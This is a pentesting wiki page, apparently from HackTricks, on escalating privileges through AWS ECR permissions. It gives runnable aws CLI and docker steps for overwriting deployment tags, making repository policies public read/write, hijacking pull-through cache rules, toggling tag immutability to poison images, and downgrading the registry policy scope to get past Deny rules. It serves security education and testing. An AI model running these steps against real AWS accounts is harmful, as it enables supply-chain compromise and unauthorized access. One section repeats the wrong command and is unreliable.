# AWS - ECR Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## ECR

### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`

An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.

For more info on how to download images:

{{#ref}}
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
{{#endref}}

**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.

### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.

In addition, `ecr:PutImage` can be used to **overwrite an existing tag** (for example `stable` / `prod`) by uploading a different image manifest under that tag, effectively hijacking tag-based deployments.

This becomes especially impactful when downstream consumers deploy by tag and **auto-refresh** on tag changes, such as:

- **Lambda container image functions** (`PackageType=Image`) referencing `.../repo:stable`
- ECS services / Kubernetes workloads pulling `repo:prod` (without digest pinning)
- Any CI/CD that redeploys on ECR events

In those cases, a tag overwrite can lead to **remote code execution** in the consumer environment and privilege escalation to the IAM role used by that workload (for example, a Lambda execution role with `secretsmanager:GetSecretValue`).

To learn how to upload a new image/update one, check:

{{#ref}}
../../aws-services/aws-eks-enum.md
{{#endref}}

### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`

Like the previous section, but for public repositories.

### `ecr:SetRepositoryPolicy`

An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\
For example, in this example read access is given to everyone.

```bash
aws ecr set-repository-policy \
    --repository-name <repo_name> \
    --policy-text file://my-policy.json
```

Contents of `my-policy.json`:

```json
{
  "Version": "2008-10-17",
  "Statement": [
    {
      "Sid": "allow public pull",
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "ecr:BatchCheckLayerAvailability",
        "ecr:BatchGetImage",
        "ecr:GetDownloadUrlForLayer"
      ]
    }
  ]
}
```

### `ecr-public:SetRepositoryPolicy`

Like the previoous section, but for public repositories.\
An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.

```bash
# Create a JSON file with the malicious public repository policy
echo '{
  "Version": "2008-10-17",
  "Statement": [
    {
      "Sid": "MaliciousPublicRepoPolicy",
      "Effect": "Allow",
      "Principal": "*",
      "Action": [
        "ecr-public:GetDownloadUrlForLayer",
        "ecr-public:BatchGetImage",
        "ecr-public:BatchCheckLayerAvailability",
        "ecr-public:PutImage",
        "ecr-public:InitiateLayerUpload",
        "ecr-public:UploadLayerPart",
        "ecr-public:CompleteLayerUpload",
        "ecr-public:DeleteRepositoryPolicy"
      ]
    }
  ]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```

**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.

### `ecr:PutRegistryPolicy`

An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**.

```bash
aws ecr set-repository-policy \
    --repository-name <repo_name> \
    --policy-text file://my-policy.json
```







### ecr:CreatePullThroughCacheRule

Abuse ECR Pull Through Cache (PTC) rules to map an attacker-controlled upstream namespace to a trusted private ECR prefix. This makes workloads pulling from the private ECR transparently receive attacker images without any push to private ECR.

- Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
- Tested upstream: public.ecr.aws

Steps (example):

1. Prepare attacker image in ECR Public
    # Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
    docker login public.ecr.aws/<public_alias>
    docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
    docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
    aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

3. Pull the attacker image via the private ECR path (no push to private ECR was done)
    docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
    docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
    docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: Supply-chain compromise by hijacking internal image names under the chosen prefix. Any workload pulling images from the private ECR using that prefix will receive attacker-controlled content.

### `ecr:PutImageTagMutability`

Abuse this permission to flip a repository with tag immutability to mutable and overwrite trusted tags (e.g., latest, stable, prod) with attacker-controlled content.

- Required perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impact: Supply-chain compromise by silently replacing immutable tags without changing tag names.

Steps (example):

<details>
<summary>Poison an immutable tag by toggling mutability</summary>

```bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
```

</details>


#### Global registry hijack via ROOT Pull-Through Cache rule

Create a Pull-Through Cache (PTC) rule using the special `ecrRepositoryPrefix=ROOT` to map the root of the private ECR registry to an upstream public registry (e.g., ECR Public). Any pull to a non-existent repository in the private registry will be transparently served from upstream, enabling supply-chain hijacking without pushing to private ECR.

- Required perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Impact: Pulls to `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` succeed and auto-create private repos sourced from upstream.

> Note: For `ROOT` rules, omit `--upstream-repository-prefix`. Supplying it will cause a validation error.

<details>
<summary>Demo (us-east-1, upstream public.ecr.aws)</summary>

```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
  --region "$REGION" \
  --ecr-repository-prefix ROOT \
  --upstream-registry-url public.ecr.aws

# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
  --query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED

# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
```

</details>

### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` to bypass registry policy denies)

Abuse `ecr:PutAccountSetting` to switch the registry policy scope from `V2` (policy applied to all ECR actions) to `V1` (policy applied only to `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). If a restrictive registry policy Deny blocks actions like `CreatePullThroughCacheRule`, downgrading to `V1` removes that enforcement so identity‑policy Allows take effect.

- Required perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impact: Ability to perform ECR actions previously blocked by a registry policy Deny (e.g., create PTC rules) by temporarily setting scope to `V1`.

Steps (example):

<details>
<summary>Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1</summary>

```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "DenyPTCAll",
      "Effect": "Deny",
      "Principal": "*",
      "Action": ["ecr:CreatePullThroughCacheRule"],
      "Resource": "*"
    }
  ]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
  --region $REGION \
  --ecr-repository-prefix ptc-deny-test \
  --upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
  --region $REGION \
  --ecr-repository-prefix ptc-deny-test \
  --upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
  --query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
  jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
  aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
  aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
```

</details>

{{#include ../../../../banners/hacktricks-training.md}}
